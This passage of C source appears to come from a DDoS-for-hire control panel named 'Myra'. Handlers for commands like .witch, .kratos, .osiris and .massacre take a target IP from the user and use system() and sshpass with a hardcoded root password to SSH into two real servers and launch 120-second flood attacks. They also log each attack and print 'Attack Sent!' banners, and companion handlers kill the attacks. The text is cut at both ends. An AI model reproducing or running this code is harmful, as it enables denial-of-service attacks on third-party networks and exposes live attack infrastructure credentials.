2961 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill greensyn; pkill greensyn");
2962 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill greensyn; pkill greensyn");
2963 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill katura; pkill katura");
2964 system(command5);
2965 system(command6);
2966 //system(command7);
2967 // little msg to output
2968 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mAnubis \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2969 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2970 }
2971 if (strstr(myra_buffer_size, ".stp-katura") || strstr(myra_buffer_size, ".STP-KATURA")) // System Comhome Function
2972 {
2973 char command5[500];
2974 trim_removev2(command5);
2975 char command6[500];
2976 trim_removev2(command6);
2977 char command7[500];
2978 trim_removev2(command7);
2979 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill katura; pkill katura");
2980 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill katura; pkill katura");
2981 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill katura; pkill katura");
2982 system(command5);
2983 system(command6);
2984 //system(command7);
2985 // little msg to output
2986 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mKatura \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2987 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2988 }
2989 if (strstr(myra_buffer_size, ".stp-witch") || strstr(myra_buffer_size, ".STP-WITCH")) // System Comhome Function
2990 {
2991 char command5[500];
2992 trim_removev2(command5);
2993 char command6[500];
2994 trim_removev2(command6);
2995 char command7[500];
2996 trim_removev2(command7);
2997 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill witch; pkill witch");
2998 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill witch; pkill witch");
2999 //strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill witch; pkill witch");
3000 system(command5);
3001 system(command6);
3002 //system(command7);
3003 // little msg to output
3004 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mWitch \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
3005 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3006 }
3007 if (strstr(myra_buffer_size, ".witch") || strstr(myra_buffer_size, ".WITCH")) // System Command Function
3008 {
3009 char iptarget[5000]; // Char Every Line For Output Communication
3010 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3011 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3012 trim_removev2(iptarget); // Trim [iptarget]
3013 char *ipkill[5000]; // Creating A System Function
3014 trim_removev2(ipkill); // Trim [ipkill]
3015 char *ipkill2[5000]; // Creating A System Function
3016 trim_removev2(ipkill2);
3017 char *ipkill3[5000]; // Creating A System Function
3018 trim_removev2(ipkill3);
3019 char *ipkill4[5000];
3020 trim_removev2(ipkill4);
3021 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mWITCH\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mWITCH\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3022 sprintf(ipkill2, "screen -S \"%s.[%s].witch.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./witch %s witch.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3023 sprintf(ipkill3, "screen -S \"%s.[%s].witch.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./witch %s witch.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3024 //sprintf(ipkill4, "screen -S \"%s.[%s].witch.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./witch %s witch.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3025 system(ipkill); // System Execution
3026 system(ipkill2);
3027 system(ipkill3);
3028 //system(ipkill4);
3029 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \x1b[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mWITCH \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \x1b[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-WITCH\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \x1b[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3030 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3031 }
3032 if (strstr(myra_buffer_size, ".gunther") || strstr(myra_buffer_size, ".GUNTHER")) // BT DHT
3033 {
3034 char iptarget[5000]; // Char Every Line For Output Communication
3035 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3036 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3037 trim_removev2(iptarget); // Trim [iptarget]
3038 char *ipkill[5000]; // Creating A System Function
3039 trim_removev2(ipkill); // Trim [ipkill]
3040 char *ipkill2[5000];
3041 trim_removev2(ipkill2);
3042 char *ipkill3[5000];
3043 trim_removev2(ipkill3);
3044 char *ipkill4[5000];
3045 trim_removev2(ipkill4);
3046 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mGUNTHER\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3047 sprintf(ipkill2, "screen -S \"%s.[%s].gunther.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./gunther %s gunther.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3048 sprintf(ipkill3, "screen -S \"%s.[%s].gunther.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./gunther %s gunther.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3049 //sprintf(ipkill4, "screen -S \"%s.[%s].gunther.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./gunther %s gunther.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3050 system(ipkill); // System Execution
3051 system(ipkill2);
3052 system(ipkill3);
3053 //system(ipkill4);
3054 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mGUNTHER \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120 \r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-GNTR \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3055 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3056 }
3057 if (strstr(myra_buffer_size, ".phoenix") || strstr(myra_buffer_size, ".PHOENIX")) // BT DHT
3058 {
3059 char iptarget[5000]; // Char Every Line For Output Communication
3060 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3061 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3062 trim_removev2(iptarget); // Trim [iptarget]
3063 char *ipkill[5000]; // Creating A System Function
3064 trim_removev2(ipkill); // Trim [ipkill]
3065 char *ipkill2[5000];
3066 trim_removev2(ipkill2);
3067 char *ipkill3[5000];
3068 trim_removev2(ipkill3);
3069 char *ipkill4[5000];
3070 trim_removev2(ipkill4);
3071 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mPHOENIX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3072 sprintf(ipkill2, "screen -S \"%s.[%s].phoenix.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./phoenix %s 4 -1 120 1\r\n", accounts[find_line].username, iptarget, iptarget);
3073 sprintf(ipkill3, "screen -S \"%s.[%s].phoenix.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./phoenix %s 4 -1 120 1\r\n", accounts[find_line].username, iptarget, iptarget);
3074 //sprintf(ipkill4, "screen -S \"%s.[%s].phoenix.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./phoenix %s 4 -1 120 1\r\n", accounts[find_line].username, iptarget, iptarget);
3075 system(ipkill); // System Execution
3076 system(ipkill2);
3077 system(ipkill3);
3078 //system(ipkill4);
3079 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mPHOENIX \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120 \r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-PHNX \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3080 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3081 }
3082 if (strstr(myra_buffer_size, ".katura") || strstr(myra_buffer_size, ".KATURA")) // BT DHT
3083 {
3084 char iptarget[5000]; // Char Every Line For Output Communication
3085 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3086 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3087 trim_removev2(iptarget); // Trim [iptarget]
3088 char *ipkill[5000]; // Creating A System Function
3089 trim_removev2(ipkill); // Trim [ipkill]
3090 char *ipkill2[5000];
3091 trim_removev2(ipkill2);
3092 char *ipkill3[5000];
3093 trim_removev2(ipkill3);
3094 char *ipkill4[5000];
3095 trim_removev2(ipkill4);
3096 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mKATURA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3097 sprintf(ipkill2, "screen -S \"%s.[%s].katura.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./katura %s katura.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3098 sprintf(ipkill3, "screen -S \"%s.[%s].katura.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./katura %s katura.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3099 //sprintf(ipkill4, "screen -S \"%s.[%s].katura.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./katura %s katura.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3100 system(ipkill); // System Execution
3101 system(ipkill2);
3102 system(ipkill3);
3103 //system(ipkill4);
3104 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mKATURA \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120 \r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-KTRA \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3105 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3106 }
3107 if (strstr(myra_buffer_size, ".kratos") || strstr(myra_buffer_size, ".KRATOS")) // BT DHT
3108 {
3109 char iptarget[5000]; // Char Every Line For Output Communication
3110 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3111 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3112 trim_removev2(iptarget); // Trim [iptarget]
3113 char *ipkill[5000]; // Creating A System Function
3114 trim_removev2(ipkill); // Trim [ipkill]
3115 char *ipkill2[5000];
3116 trim_removev2(ipkill2);
3117 char *ipkill3[5000];
3118 trim_removev2(ipkill3);
3119 char *ipkill4[5000];
3120 trim_removev2(ipkill4);
3121 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mKRATOS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3122 sprintf(ipkill2, "screen -S \"%s.[%s].kratos.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./kratos %s kratos.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3123 sprintf(ipkill3, "screen -S \"%s.[%s].kratos.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./kratos %s kratos.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3124 //sprintf(ipkill4, "screen -S \"%s.[%s].kratos.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./kratos %s kratos.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3125 system(ipkill); // System Execution
3126 system(ipkill2);
3127 system(ipkill3);
3128 //system(ipkill4);
3129 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mKRATOS \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-KRTO \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3130 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3131 }
3132 if (strstr(myra_buffer_size, ".osiris") || strstr(myra_buffer_size, ".OSIRIS")) // BT DHT
3133 {
3134 char iptarget[5000]; // Char Every Line For Output Communication
3135 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3136 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3137 trim_removev2(iptarget); // Trim [iptarget]
3138 char *ipkill[5000]; // Creating A System Function
3139 trim_removev2(ipkill); // Trim [ipkill]
3140 char *ipkill2[5000];
3141 trim_removev2(ipkill2);
3142 char *ipkill3[5000];
3143 trim_removev2(ipkill3);
3144 char *ipkill4[5000];
3145 trim_removev2(ipkill4);
3146 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mOSIRIS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3147 sprintf(ipkill2, "screen -S \"%s.[%s].osiris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./osiris %s osiris.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3148 sprintf(ipkill3, "screen -S \"%s.[%s].osiris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./osiris %s osiris.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3149 //sprintf(ipkill4, "screen -S \"%s.[%s].osiris.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./osiris %s osiris.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3150 system(ipkill); // System Execution
3151 system(ipkill2);
3152 system(ipkill3);
3153 //system(ipkill4);
3154 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mOSIRIS \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ATNA \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3155 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3156 }
3157 if (strstr(myra_buffer_size, ".massacre") || strstr(myra_buffer_size, ".MASSACRE")) // BT DHT
3158 {
3159 char iptarget[5000]; // Char Every Line For Output Communication
3160 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3161 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3162 trim_removev2(iptarget); // Trim [iptarget]
3163 char *ipkill[5000]; // Creating A System Function
3164 trim_removev2(ipkill); // Trim [ipkill]
3165 char *ipkill2[5000];
3166 trim_removev2(ipkill2);
3167 char *ipkill3[5000];
3168 trim_removev2(ipkill3);
3169 char *ipkill4[5000];
3170 trim_removev2(ipkill4);
3171 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mMASSACRE\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mHOME\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3172 sprintf(ipkill2, "screen -S \"%s.[%s].massacre.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./massacre %s 8 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3173 sprintf(ipkill3, "screen -S \"%s.[%s].massacre.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./massacre %s 8 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3174 //sprintf(ipkill4, "screen -S \"%s.[%s].massacre.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./massacre %s 8 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3175 system(ipkill); // System Execution
3176 system(ipkill2);
3177 system(ipkill3);
3178 //system(ipkill4);
3179 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mMASSACRE \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-MASS \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3180 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3181 }
3182 if (strstr(myra_buffer_size, ".anubis") || strstr(myra_buffer_size, ".ANUBIS")) // BT DHT
3183 {
3184 char iptarget[5000]; // Char Every Line For Output Communication
